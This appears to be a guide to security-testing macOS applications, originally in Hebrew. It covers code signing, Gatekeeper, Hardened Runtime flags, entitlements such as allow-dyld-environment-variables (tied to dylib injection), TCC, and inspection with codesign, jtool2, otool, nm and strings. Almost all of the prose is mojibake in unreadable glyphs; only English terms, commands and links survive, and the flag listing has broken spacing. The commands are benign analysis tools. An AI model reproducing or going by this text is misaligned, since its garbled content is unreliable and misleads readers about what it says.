˞ˣˡ˧ˣ ˸ˬ˧˸˥ ˡˣ˵ ˣˮ˧ˢ ˭ˣˮˠˮˬ ˢ˥˦˟˞ ˡ˰ˣˮˢ ˞ˡˣˣ˪ ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˶˴ˣˮ ˪˰ l˧ ˷ˬ˸˷ˬˢ ˫˸ˣ˥ˢ Φ˶˥˞˪ 

˸ˬ˧˸˥ ˢ˧˴˵˧˪˲˞ˢ Σ˸˩˶˰ˬˢ ˢ˪ˣ˩˧ ˸ˣˢˤ˪ ˪˩ ˧ˣˮ˧˷ ˢ˧˴˵˧˪˲˞˟ Σ˭˧˟ ˫˞ ˧ˣˮ˧˷ˢ ˢ˷˰ˮ ˸ˣ˰˦˟ ˭˧˟ˣ ˫˞ 

˸ˣ˰˴ˬ˞˟ ˡˣ˵ ˧ˮˣˡˤΦ 

https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
https://developer.apple.com/documentation/security/code_signing_services
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˸ˬ˧˸˥ ˡˣ˵ ˸˪˰ˣ˲ ˸ˣ˰˴ˬ˞˟ ˢˬ˧˸˥ ˸˧˪˦˧ˠ˧ˡ ˸˶˴ˣˮ˷ ˫˰ ˥˸˲ˬ ˧˦˶˲ ˸˸ˬˣ˞ˬˣ ˫˰ ˥˸˲ˬ ˧˶ˣ˟˧˴ Φ

ˢˬ˧˸˥ˢ ˸˲˶ˣ˴ˬ ˢ˧˴˵˧˪˲˞˪ Σ˸˩˶˰ˬˣ ˢ˪˰˲ˢˢ ˧ˢ˪ˣ˩ ˸ˬ˞˪ ˢ˸ˣ˞ ˸ˣ˰˴ˬ˞˟ ˥˸˲ˬ ˧˶ˣ˟˧˴ ˶˷˞ ˭˯˥ˣ˞ˬ 

˶ˠ˞ˬ˟ ˸ˣˡˣ˰˸ˢ trusted root certificate storeΦ 

ˡˣˠ˧ˮ˟ ˪πWindows Σˣ˟˷ ˶˵˧˰˟ ˫˧ˬ˸ˣ˥ ˧˴˟˵ ˢ˴˶ˢ ˞˪ˣ ˸ˣ˧˴˵˧˪˲˞ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˸ˣˡˣ˰˸˟ ˡ˴ ˧˷˧˪˷ Σ

macOS ˸˷˶ˣˡ ˸ˬ˧˸˥ ˡˣ˵ ˫˰ ˸ˡˣ˰˸ Developer ID ˸ˮ˸˧ˮˢ ˪˰ ˧ˡ˧ Apple Φ˪˥ˢ ˬπmacOS млΦмр Σ˪˩ 

˸ˣ˧˴˵˧˪˲˞ˢ ˸ˣ˴˲ˣˬ˷ ˨˶ˡ ˳ˣ˥ˬˣ ˸ˣˮ˥˪ ˸ˣ˧˴˵˧˪˲˞ˢ ˸ˣ˟˧˧˥ ˸ˣ˧ˢ˪ ˸ˣˬˣ˸˥ ˸ˣ˶˷ˣ˞ˬˣ ˪˰ ˧ˡ˧ Apple ˧ˡ˩ 

˪ˣ˰˲˪ ˸˥˸ ˸ˣ˶ˡˠˢ ˸˶˧˶˟ ˪ˡ˥ˬˢ ˪˷ Gatekeeper. 

Gatekeeper ˞˧ˢ ˸˧˧ˠˣ˪ˣˮ˩˦ ˞ˢ˥˦˟ ˢ˸˶˦ˬ˷ ˥˧˦˟ˢ˪ ˵˶˷ ˢˮ˩ˣ˸ ˢˮˬ˧ˢˬ ˳ˣ˶˸ ˪˰ macOSΦ ˸˶˧˶˟˩ 

˪ˡ˥ˬ ΣGatekeeper ˶˷˲˞ˬ ˸˴˶ˢ ˸ˣ˧˴˵˧˪˲˞ ˣˡ˶ˣˢ˷ ˸ˣˮ˥ˬ ˸ˣ˧˴˵˧˪˲˞ˢ ˪˷ Apple x˞ ˫˧˥˸˲ˬˬ 

ˣˬ˷˶ˮ˷ ˪πApple ˣ˪˟˧˵ˣ ˸ˡˣ˰˸ Developer ID Φ˫˞ ˢ˧˴˵˧˪˲˞ˢ ˞˪ ˢˬˣ˸˥ ˫˰ ˢˡˣ˰˸ ˢ˲˵˸ x˞ ˞˪ ˢ˶˷ˣ˞ 

˪˰ ˧ˡ˧ Gatekeeper Σ˸˩˶˰ˬ sˢ˪˰˲ˢ macOS ˠ˧˴˸ ˸˰ˡˣˢ ˢ˶ˢˤ˞ ˰ˮˬ˸ˣ ˢ˧˴˵˧˪˲˞ˢˬ ˳ˣ˶˪Φ 

˭˧˲ˣ˪˥˪ Σ˫˧˷ˬ˸˷ˬ ˫˧˪ˣ˩˧ ˸ˣˮ˷˪ ˸˞ ˸ˣ˧ˮ˧ˡˬ sπGatekeeper ˧ˡ˩ ˳˧˶ˢ˪ ˪˩ ˢˮ˩ˣ˸ ˶˷˞ ˫˧˴ˣ˶ Σ˞˪˞ ˫˞ xʕ 

˸˪˟ˠˣˬ ˪˰ ˧ˡ˧ ˭ˣ˶˸˲ ˪ˣˢ˧ˮ˪ ˫˧˶˧˷˩ˬ ˫˧ˡ˧˧ˮ ύMDMΦό 

˭˸˧ˮ ˪˟˵˪ ˰ˡ˧ˬ ˱˯ˣˮ Σ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˧˪˩˟ codesign Σ˭˸˧ˮ ˪˟˵˪ ˧ˬ˰ˡ ˱˧˵ˬ ˪˰ ˢ˧˴˵˧˪˲˞ Σ˪˪ˣ˩ ˠˣ˯ sπhash 

ˢ˪˷ Σ˸˵˧ˡ˟ hash ˧ˬˣ ˫˶ˣˠˢ ˫˸ˣ˥ˢ. 

˪˰ ˧ˡ˧ ˸˴˶ˢ ˢˡˣ˵˲ˢ ˢ˞˟ˢ Σ˪˩ˣˮ ˠ˧˴ˢ˪ ˸˞ ˸ˬ˧˸˥ ˡˣ˵ˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢΥ 

codesign - dvv "<path to application>"  

 

˫˧˶˵ˬ˟ ˫˧ˬ˧ˣ˯ˬ Σ˭˩˸˧˧ ˢ˧˴˵˧˪˲˞˪˷ ˞˪ ˢ˧ˢ˸ ˢˬ˧˸˥ ˸˧˪˦˧ˠ˧ˡ ˢ˲˵˸ Φˢˤ ˪ˣ˩˧ ˸ˣ˶˵˪ Σˬˠˣˡ˪ sΣ˫˞ 

ˢ˧˴˵˧˪˲˞ˢ ˸˷ˬ˸˷ˬ ˢˡˣ˰˸˟ ˢˮ˧˞˷ ˢˮˬ˧ˢˬ ύ˸˥˞ ˠ˲˷ ˢ˲˵ˣ˸ x˞ ˫˰ ˵˧˲ˮˬ ˶˯˥ όˣ˞ ˫˞ ˵˪˥ 

˫˧˟˞˷ˬˢˬ ˨ˣ˸˟ ˸˪˧˟˥ ˢ˧˴˵˧˪˲˞ˢ ˫ˮ˧˞ ˫˧ˬˣ˸˥Φ ˸˥˞ ˫˧˩˶ˡˢ ˸ˣˮ˧˧ˮ˰ˬˢ ˸˲˧˵˰˪ ˭ˣˮˠˮˬ ˸ˬ˧˸˥ ˡˣ˵ˢ 

ˢ˸˪ˠ˸ˢ ˶˷˵ˢ˟ ˢˡ˷˪ ϦTeamIdentifier ΦϦTeamIdentifier ˞ˣˢ ˡˣ˵ ˧ˣˢ˧ˤ ˧ˡˣ˥˧˧ ˢ˴˵ˣˬˢ ˣ˴˪˸ˣ ˪˷ 

˫˧˥˸˲ˬ ˸˰˟ ˫ˣ˷˧˶ˢ ˸˧ˮ˩ˣ˸˪ ˧˥˸˲ˬ Apple Σ˷ˬ˷ˬˢ ˸ˬ˧˸˥˪ ˸ˣ˧˴˵˧˪˲˞ ˸ˮ˵˸ˢˣ ˧˪˧˲ˣ˶˲ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ 

˪˰ ˧˶˧˷˩ˬ macOSΦ 

https://support.apple.com/en-ie/guide/security/sec5599b66df/web
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ˢ˶˴˵˟ Σ˭˸˧ˮ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ ˞ˣˡ˧ˣ ˢˬ˧˸˥ˢ ˭˲ˣ˞˟ ˧˥˸˲ˬ˷ ˡ˴ ˧˷˧˪˷ ˫˧˯˥˧˧˸ˬ ˪˞ Code Signing API 

ˢ˵˧ˮ˩˦ xʕ ˢ˶˷˲˧˞ ˧˶˞ˮ˧˟˪ ˫˰ ˸ˣˬ˧˸˥ adhoc Σ˨˶ˡ˟˷ ˪˪˩ ˸ˣ˷ˬ˷ˬ ˸ˣ˶˦ˬ˪ ˢ˵˧ˡ˟ Σ˸ˣ˞˶˧ˢ˪ ˣ˪˧˞˩ 

Apple ˢˬ˸˥ ˫ˢ˧˪˰ Φˢ˲˧˵˰ xʕ ˢ˸˧˧ˢ ˸˧˶˷˲˞ ˭ˣˣ˧˩ˬ ˵˪˥˷ ˸ˣ˧˴˵˧˪˲˞ˢˬ ˪˷ Apple ˣ˧ˢ ˫˰ ˨˶˰ 

TeamIdentifier ˰˟˵ˮ˷ ˪πϦ˞˪ ˶ˡˠˣˬ ΦϦ˰ˡ˧ˬ˪ ˱˯ˣˮ Σ˭˸˧ˮ ˶ˤ˰ˢ˪ ˰ˡ˧ˬ˟ ˭˞˩. 

Hardened Runtime 

˶˟ˡ ˱˯ˣˮ ˪˩ˣˮ˷ ˡˣˬ˪˪ ˥ˣ˸˧ˮˬ ˸ˣˬ˧˸˥ ˡˣ˵ˢ Σˢˤ ˫˞ˢ s-Hardened Runtime ˪˥ ˪˰ ˢ˧˴˵˧˪˲˞ˢ x˞ ˞˪Φ 

Hardened Runtime Σˡ˥˧ ˫˰ SIP ˭ˠˬ ˪˰ s-runtime ˪˷ ˢˮ˩ˣ˸ˢ ˪˰ ˧ˡ˧ ˸˰˧ˮˬ ˫˧ˠˣ˯ ˫˧ˬ˧ˣ˯ˬ ˪˷ 

˸ˣ˲˵˸ˬ Σˣˬ˩ Υ˸˵˶ˤˢ ˡˣ˵Σdylib hijacking  xπmemory corruptionΦ 

ˣˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˸˞ ˸ˬ˶ ˢˮˠˢˢ ˵˲˯ˬ˷ s-Hardened Runtime ˸ˬ˧˸˥˟ ˡˣ˵ˢ ˸˶ˤ˰˟ 

SecCodeSignatureFlags Φ˫˧˪ˠˡ ˣ˪˞ ˫˧ˠ˴ˣˬ ˸˶ˣ˷˟ CodeDirectory ˦˪˲˟ ˪˷ ˢˡˣ˵˲ˢ codesignΦ 

SecCodeSignatureFlags ˫ˢ ˦˯ ˪˷ ˫˧˪ˠˡ ˫˧˶˞˸ˬˢ ˸ˣˮˣ˩˸ ˸ˣˮˣ˷ ˪˷ ˡˣ˵ ˫ˣ˸˥ Φ˨˶˰ˢ 0x0 ˭˧˧˴ˬ ˪˰˷ 

˧˶˞ˮ˧˟ˢ ˢ˪˥ ˸ˬ˧˸˥ ˡˣ˵ ˸˧˦˶ˡˮ˦˯ ˞˪˪ ˸ˣˮˣ˩˸ ˢ˥˦˟˞ x˞ ˸ˣ˪˟ˠˢ ˸ˣ˲˯ˣˮ Φˣˢˤ ˴ˬˢ ˟˶ˡˠˣˬˢ ˸˶˧˶˟˩ 

˪ˡ˥ˬ ˸ˬ˧˸˥˪ ˡˣ˵ ˟πmacOS Σ˞ˣˢˣ ˫˧˞˸ˬ ˟ˣ˶˪ ˸ˣ˧˴˵˧˪˲˞ˢ ˭˧˞˷ ˭ˢ˪ ˸ˣ˷˧˶ˡ ˢ˥˦˟˞ ˸ˣˡ˥ˣ˧ˬΥ 

 

˪ˠˡˢ 0x10000 ˭ˬ˯ˬ ˪˰˷ ˢ˧˴˵˧˪˲˞ˢ ˢ˪˥ ˸ˣ˧ˮ˧ˡˬ ˢ˥˷˵ˢ ˪˷ ˭ˬˤ ˢ˴˧˶ Σ˸˪˪ˣ˩ˢ ˸ˣˮˠˢ ˣˬ˩ ASLR Σ

˸ˣˬ˧˞ ˸ˣ˧˶˲˯ ˸ˣˬ˧˞ˣ ˸ˬ˧˸˥ ˡˣ˵ Φ˸ˣ˧ˮ˧ˡˬ ˣ˪˞ ˸ˣ˪˰ˣ˲ ˡ˥˧ ˧ˡ˩ ˰ˣˮˬ˪ ˪ˣ˴˧ˮ ˸ˣ˷˪ˣ˥ ˭ˣ˶˩˧ˤ Σ˪˧˟ˠˢ˪ ˢ˷˧ˠ 

˸˩˶˰ˬ˪ ˰ˣˮˬ˪ˣ ˸˵˶ˤˢ ˡˣ˵ ˧ˮˣˡˤ Φˣˬ˩ ˭˩ Σ˧˩˶˰ ˫˧˪ˠˡˢ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫˧˟˪ˣ˷ˬ Σˣˬ˩ ˞ˬˠˣˡ˟ ˭˪ˢ˪ Σˢ˟˷ 

ˢ˧˴˵˧˪˲˞˪ ˢˬˡˢ ˷˧ ˸˞ ˪ˠˡˢ 0x10002 ˟˪˷ˬ˷ ˢˬ˧˸˥ ύadhoc (0x0002 ˡ˥˧ ˫˰ ˸ˣ˧ˮ˧ˡˬ ˢ˥˷˵ˢ ˪˷ 

˭ˬˤ ˢ˴˧˶ ύмлллл0xόΥ 

 

˸ˬ˧˷˶ ˪˩ ˫˧˪ˠˡˢ ˫˧˧˶˷˲˞ˢΥ 

kSecCodeSignatureHost              = 0x0001, /* may host guest code */  
kSecCodeSignatureAdhoc             = 0x0002, /* must be used without signer */  
kSecCodeSignatureForceHard         = 0x0100, /* always set HARD mode on launch */  
kSecCodeSignatureForceKil l         = 0x0200, /* always set KILL mode on launch */  
kSecCodeSignatureForceExpiration   = 0x0400, /* force certificate expiration checks */  

https://www.youtube.com/watch?v=5vYPurBAW9k
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc
https://developer.apple.com/documentation/security/seccodesignatureflags?language=objc
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kSecCodeSignatureRestrict          = 0x0800, /* restrict dyld loading */  
kSecCodeSignatureEnforcement       = 0x1000, /* enforce code signing */  
kSecCodeSignatureLibraryValidation = 0x2000, /* library validation required */  
kSecCodeSignatureRuntime           = 0x10000, /* apply runtime hardening policies */  
kSecCodeSignatureLinkerSigned      = 0x20000, /* identify tha t the signature was auto -  
                        /* generated by the linker */  

 

ˮ˷˧ ˭˸ˣ˧˴˵˧˪˲˞ ˸ˣ˩˧˶˴˷ ˷ˬ˸˷ˢ˪ ˸ˣ˪ˣ˩˧˟ ˢ˷πHardened Runtime ˪˧˟ˠˬ Φˢ˶˵ˬ˟ ˢˤ˩ Σ˫˧˥˸˲ˬ ˫˧˪ˣ˩˧ 

˷ˬ˸˷ˢ˪ ˟-Runtime Exceptions ˧ˡ˩ ˪˦˟˪ ˢˮˠˢ ˸˧˲˧˴˲˯ Φˢˬˠˣˡ˪ Σ˫˧ˮ˲ˡ˲ˡ ˬ˩ xGoogle Chrome xπ

Firefox ˫˧˷ˬ˸˷ˬ ˸ˣˠ˧˶˥˟ ˣˬ˩ com.apple.security.cs.allow-jit ˧ˡ˩ ˶˷˲˞˪ ˰ˣ˴˧˟ ύJust-In-Time (JIT 

˪˷ ˡˣ˵ JavaScriptΥ 

 

˸˪˰˲ˢ  Runtime Exceptionsˢ˪ˣ˪˰ ˱ˣ˷˥˪ ˸˞ ˢ˧˴˵˧˪˲˞ˢ ˸ˣ˲˵˸ˢ˪ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ Φ˭˸˧ˮ ˵ˣˡ˟˪ ˫˞ 

ˢ˧˴˵˧˪˲˞˪ ˷˧ ˸ˣˠ˶˥ˢ ˪˰ ˧ˡ˧ ˸˵˧ˡ˟ sπentitlements. 

Entitlements 

Entitlements π ˭ˢ ˧ˡˬ˴ ˥˸˲ˬπ˨˶˰ ˫˧˵˧ˮ˰ˬˢ ˳˟ˣ˵˪ ˢ˴˶ˢ ˢ˞˷˶ˢ ˷ˣˬ˧˷˪ ˸ˣ˶˧˷˟ x˞ ˢ˧ˠˣ˪ˣˮ˩˦˟ 

˸ˬ˧ˣ˯ˬΦ ˸˵˧ˡ˟ ˸ˣ˞˷˶ˢˢ ˞˧ˢ ˟˪˷ ˥˸˲ˬ ˥ˣ˸˧ˮ˟ ˫˧˴˟˵ Σ˶˥˞ˬ ˭ˢ˷ ˸ˣ˰˧˟˴ˬ ˪˰ ˣ˪˧˞ ˸ˣ˪ˣ˰˲ 

ˢ˧˴˵˧˪˲˞ ˢ˪ˣ˩˧ ˰˴˟˪ ˸˩˶˰ˬ˟ Σˢˬˣˡ˟ ˦˯˪ ˪˷ ˸ˣ˞˷˶ˢΦ 

˭ˮ˷˧ ˶˲˯ˬ ˸ˣ˧ˣ˶˷˲˞ ˵ˣˡ˟˪ ˸˞ ˸ˬ˧˷˶ sπentitlements ˪˷ ˢ˧˴˵˧˪˲˞ˢ Φ˸˥˞ ˫˧˩˶ˡˢ ˞˧ˢ ˷ˬ˸˷ˢ˪ 

˧˪˩˟ codesign ˪˰ ˧ˡ˧ ˸˴˶ˢ ˢˡˣ˵˲ˢ ˢ˞˟ˢΥ 

codesign - d -- entitlements : -   <path to binary file > 

  

https://developer.apple.com/documentation/security/hardened_runtime#3111188
https://developer.apple.com/documentation/bundleresources/entitlements
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˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˫ˠ ˟πjtool ύˢ˯˶ˠ ˸˟˥˶ˣˬ ˪˷ otool ˢ˶˴ˣˮ˷ ˪˰ ˧ˡ˧ ɣϥ˭˸ˮˣ ˭˧ˣ˪ ό˪˰ ˧ˡ˧ ˸˴˶ˢ ˢˡˣ˵˲ˢ 

ˢ˞˟ˢΥ 

jtool2 - ent ~/dummy.app/Contents/MacOS/dummy 

˪˰ ˧ˡ˧ ˥ˣ˸˧ˮ sπentitlements ˪˷ ˢ˧˴˵˧˪˲˞ˢ Σ˭˸˧ˮ ˸ˣˢˤ˪ ˸ˣ˧˰˟ ˞ˢ˥˦˟ ˸ˣ˧˶˷˲˞ Φ˞ˬˠˣˡ˪ Σ˫˞ 

ˢ˧˴˵˧˪˲˞˪ ˷˧ entitlements ˪-variables-environment-dyld-allow ˫˰ ˨˶˰ Ϧtrue ΣϦˢˤ ˪ˣ˩˧ ˪˧˟ˣˢ˪ ˨˩˪ 

ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˰˧ˠ˲ ˪-Dylib Injection Φ˦˶˲ˮ ˪˰ ˨˩ ˨˷ˬˢ˟Υ 

 

 

˭˪ˢ˪ ˶˲˯ˬ entitlements ˢˬˠˣˡ˪: 

com.apple.security.cs.disable-library-validation ˶˷˲˞ˬ ˢ˧˴˵˧˪˲˞˪ ˭ˣ˰˦˪ ˫˧ˮ˧ˠ˞˪˲ x˞ 

˫˧˵˶ˣˣˬ˧˧˶˲ ˞˪ ˫˧ˬˣ˸˥ 

com.apple.security.cs.allow-dyld-environment-variables  ˶ˣ˷˧˵ ˸˟˧˟˯ ˧ˮ˸˷ˬˬ˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ˬ

˫˧˧ˬˮ˧ˡ 

com.apple.security.get-task-allow ˫˧˩˧˪ˢ˸ ˢ˧˴˵˧˪˲˞˪ ˫˧˩˧˪ˢ˸ ˶˟˥˪ ˶˷˲˞ˬ 

com.apple.security.cs.allow-unsigned-executable-memory ˭ˣ˶˩˧ˤ ˸ˣ˷˪ˣ˥˪ ˢ˧˴˵˧˪˲˞ˢ ˸˞ ˱˷ˣ˥ 

com.apple.security.files.downloads.read-write ˸ˣˡ˶ˣˢ ˸˧˧˵˧˸˪ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸˞˷˶ˢ ˭˸ˣˮ 

com.apple.security.device.camera ˸ˮ˟ˣˬ ˢˬ˪˴ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˧˴˵˧˪˲˞˪ ˶˷˲˞ˬ 

ˢ˧˴˵˧˪˲˞ ˢ˧ˣ˷˰ ˪˟˵˪ ˢ˷˧ˠ ˰ˡ˧ˬ˪ ˷˧ˠ˶ x˞ ˪˧˟˞˷ˬ ˸˩˶˰ˬ ˫˞ ˷˧ ˢ˪ entitlements ˫˧˶˸ˣ˧ˬ x˞ ˧˪˰˟ 

˸ˬ˶ ˢ˷˧ˠ ˢˢˣ˟ˠ ˧ˡˬΦ 

ˢˬˠˣˡ˪ Σˢ˞˷˶ˢˢ com.apple.security.device.camera ˢ˵˧ˮ˰ˬ ˢ˧˴˵˧˪˲˞˪ ˸˞ ˸ˣ˶˷˲˞ˢ ˷ˬ˸˷ˢ˪ 

ˢˬ˪˴ˬ˟ ˪˷ ˷ˬ˸˷ˬˢ Φ˫˰ ˸˞ˤ Σ˪˥ˢ ˬπύmacOS 11 (Big Sur Σˢ˞˷˶ˢˢ ˣˤˢ ˸˥˵ˣ˲ˬ ˪˰ ˧ˡ˧TCC Φ 

TCC ύ˶ˣ˴˧˵ ˪˷ Transparency, Consent and Control ό˧ˢˢˮ ˢ˧ˠˣ˪ˣˮ˩˦ ˸˪ˢˮˬ˷ ˸˞ ˢ˷˧ˠˢ ˪˷ ˫˧ˬˣ˷˧˧ 

˫˧ˮˣ˸ˮ˪ ˫˧˷˧ˠ˶ ˪˷ ˷ˬ˸˷ˬˢ Σ˭ˣˠ˩ ˢˬ˪˴ˬ Σ˭ˣ˲ˣ˶˵˧ˬ ˧˸ˣ˶˧˷ˣ ˫ˣ˵˧ˬ Φ˶˷˞˩ ˫ˣ˷˧˧ ˷˵˟ˬ ˰˴˟˪ ˢ˷˧ˠ 

˫˧ˮˣ˸ˮ˪ ˣ˪˞ TCC ˳˧˲˵˧ ˢ˰ˡˣˢ ˷ˬ˸˷ˬ˪ ˧ˡ˩ ˶˷˞˪ξ˸ˣ˥ˡ˪ ˸˞ ˢ˷˵˟ˢ ˢˬˣˡ ˪πelevation prompt ˟π

windows Σ˪˥ˢˢˢ˦ ˶ˬ˷˧˸ ˭ˣ˪˥ˢˣ ˞˪ ˳ˣ˲˵˧ ˡ˧˸˰˟Φ 

http://www.newosxbook.com/tools/jtool.html
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Hacks and Tricks 

˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˸ˣ˵˧ˮ˩˦˟ ˸ˣˮˣ˷ ˪˷ ˥ˣ˸˧ˮ ˫˧˴˟˵ ˧ˡ˩ ˸ˣˢˤ˪ ˸ˣ˧ˣ˰˧ˠ˲ ˸ˣ˧˶˷˲˞ ˸˰˟ ˰ˣ˴˧˟ ˸ˣ˵˧ˡ˟ ˸ˣ˶˧ˡ˥ 

˧ˬˣ˷˧˧˟ macOSΦ 

˸˥˞ ˸ˣ˵˧ˮ˩˦ˢ ˸ˣ˴ˣ˲ˮˢ ˞˧ˢ ˵ˣˡ˟˪ ˸˞ ˸ˣ˧˶˲˯ ˡ˴ ˧˷˧˪˷ ˸ˣ˷ˬ˷ˬˢ ˸˞ ˢ˧˴˵˧˪˲˞ˢ ˫˞ˢ ˸ˣˬ˧˧˵ ˸ˣ˴˶˲ 

ˢ˥˦˟˞ ˣ˰ˣˡ˧ ˸Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˧˪˩ˢ otool Σ˪ˣ˪˩ˢ ˸˪˧˟˥˟ ˫˧˪˩ˢ ˪˷ ˸˶ˣ˷ ˢˡˣ˵˲ˢ Xcode 

ˣ˞ ˸˶ˤ˰˟ ˧˪˩ˢ jtool. ˪˰ ˸ˮˬ ˪˟˵˪ ˢˬ˧˷˶ ˪˷ ˸ˣ˧˶˲˯ˢ ˭ˢ˟˷ ˷ˬ˸˷ˬ ˫ˣ˷˧˧ Σ˭˸˧ˮ ˳˧˶ˢ˪ ˸˞ ˢˡˣ˵˲ˢΥ 

otool - L <path to binary file >  

˷˲˥˪ˣ ˸ˣ˧˶˲˯ ˸ˣ˰˧ˠ˲ x˞ ˸ˣˮ˷ˣ˧ˬΥ 

 

˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢ nm Σ˭˸˧ˮ ˱ˣ˪˷˪ ˸˞ ˫˧˪ˣ˟ˬ˧˯ˢ ˸ˣˬ˷ˣ ˫˧ˮ˸˷ˬˢ ˪˷ ˫ˣ˷˧˧ˢ Φˢˬˠˣˡ˪ Σ˧ˡ˩ ˠ˧˴ˢ˪ ˸˞ 

˸ˬ˧˷˶ ˫˧˪ˣ˟ˬ˧˯ˢ ˳˟ˣ˵˟ ˢ˴˶ˢ Σ˪˩ˣˮ ˳˧˶ˢ˪ ˸˞ ˢˡˣ˵˲ˢ: 

nm <path to file > 

˨ˣ˸˟ ˦˪˲ˢ Σ˷˲˥ˮ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˰˧ˠ˲ ˸ˣ˰ˣˡ˧ x˞ ˸ˣ˧˴˵ˮˣ˲ ˷ˣˬ˧˷ˢ˷ ˭ˢ˟ ˢ˷˰ˮ ˢ˶ˣ˴˟ ˞˪ ˸˥˦˟ˣ˞ˬΦ ˢˡˣ˵˲ 

ˣˤ ˸˧˷ˣˬ˧˷ ˫ˠ ˫˞ ˣˮ˞ ˫˧˴ˣ˶ ˭˧˟ˢ˪ ˣˤ˧˞˟ ˸˲˷ ˸ˣˮ˩˸ ˢ˧˴˵˧˪˲˞ˢ ˢ˟ˣ˸˩ Φ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˪˧˩ˬˢ _objc 

˸ˣ˰˧˟˴ˬ ˪˰ ˨˩ ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˥˸ˣ˲ ˟πC-Objective Σ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˪˧˩ˬˢ t_swif ˸ˣ˰˧˟˴ˬ ˰ ˪˨˩ 

ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˥˸ˣ˲ ˟πSwift ˨˩ˣ ˢ˞˪ˢΥ 

 

˭˸˧ˮ ˷˲˥˪ ˦˪˲˟ ˫ˠ ˶˥˞ ˰ˡ˧ˬ ˷˧ˠ˶ ˭ˣˠ˩ Υ˸ˣ˞ˬ˯˧˯ Σ˸ˣ˥˸˲ˬ API ˧˴˟˵ˣ logs ˫˧˧ˣ˷˰˷ ˸ˣ˧ˢ˪ ˫˧ˮ˯˥ˣ˞ˬ 

˭˲ˣ˞˟ ˣˮ˧˞˷ ˥˦˟ˣ˞ˬΦ 

https://www.unix.com/man-page/osx/1/otool
http://www.newosxbook.com/tools/jtool.html
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˶˲˯ˬ ˫˧˴˟˵ ˫˧˧ˤ˩˶ˬ ˢ˵˧ˡ˟˪Υ 

¶ ˧˴˟ˣ˵ ˸ˣ˶ˡˠˢ ˭ˣˠ˩ Υplist, XML x˞ ˧˴˟ˣ˵ JSON Σ˫˧ˬ˵ˣˬˬˢ ˨˶ˡ˟ ˪˪˩ ˸˪˧˟˥˟ ˣ˷˧˧ˢ˫˧ˬΦ 

¶ ˧˴˟ˣ˵ logs Σ˨˶ˡ˟ ˪˪˩ ˫˧ˬ˵ˣˬˬ ˸˧˧˶˲˯˟ ~/Library/Log 

¶ ˧˴˟˵ cache Σ˫˧ˮ˯˥ˣ˞ˬˢ ˧˴˟˵˩ ˡ˯ˬ ˫˧ˮˣ˸ˮ ˪˷ SQLite Σ˫˧ˬ˵ˣˬˬˢ ˨˶ˡ˟ ˪˪˩ ˸˧˧˶˲˯˟ 

~/Library/Caches ˨˞ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˫˸ˣ˞ ˫˧ˬˣ˵˧ˬ˟ ˫˧˶˥˞ ˸˩˶˰ˬ˟ Φ˭˸˧ˮ ˥˸ˮ˪ ˧˴˟˵ ˡ˯ˬ ˫˧ˮˣ˸ˮ ˢ˪˞ 

˸ˣ˰˴ˬ˞˟ ˫˧˪˩ ˭ˣˠ˩ SQLite Browser x˞ SQLitestudioΥ 

 

˸ˣ˪˩˸˯ˢ˟ ˪˰ Activity Monitor Σ˭˸˧ˮ ˸ˣ˞˶˪ ˢˬ˧˷˶ ˪˷ ˪˩ ˫˧˴˟˵ˢ ˢ˧˴˵˧˪˲˞ˢ˷ ˢ˥˸˲Φ ˧ˡ˩ ˸ˣ˷˰˪ 

˸˞ˤ Σ˥˸˲ x˸˞ Activity Monitor Σ˶˥˟ x˸˞ ˫ˣ˷˧˧ˢ ˥˪ˣˣ˴ ˪˰ ˢ˧˧˯˧˦˶˩ˢ ϦOpen Files and PortsϦΥ 

 

˪˩ ˫˧˴˟˵ˢ ˸˧˧˴˵˧˪˲˞˷ ˢˬˡˢ ˸˥˸ˣ˲ ˫˧ˠ˴ˣˬ ˟-Activity MonitorΦ 

˶ˡ ˨˸˲˯ˣˮ ˞ˣ˴ˬ˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˞˧ˢ ˳˪˥˪ ˸ˣˤˣ˶˥ˬ ˦˯˵˦ ˫˧˴˟˵ˬ ˫˧˧˶˞ˮ˧˟ Φˢ˶˦ˬ˪ xʕ Σ˪˩ˣˮ ˷ˬ˸˷ˢ˪ 

ˢˡˣ˵˲˟: 

strings <path to binary file > 

˞˪ ˮ˪ˣ˪˴ ˵ˣˬ˰ ˨ˣ˸˪ ˨˧˪ˢ˸ ˯ˣˡˮˢ ˶ˣ˥˞˪ ˦˯ˣ˲˟ ˢˤˢ Σ˪˟˞ ˟ˣ˷˥ ˭˧˧˴˪ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˫ˠ ˸ˣˮ˩ˣ˸˟ 

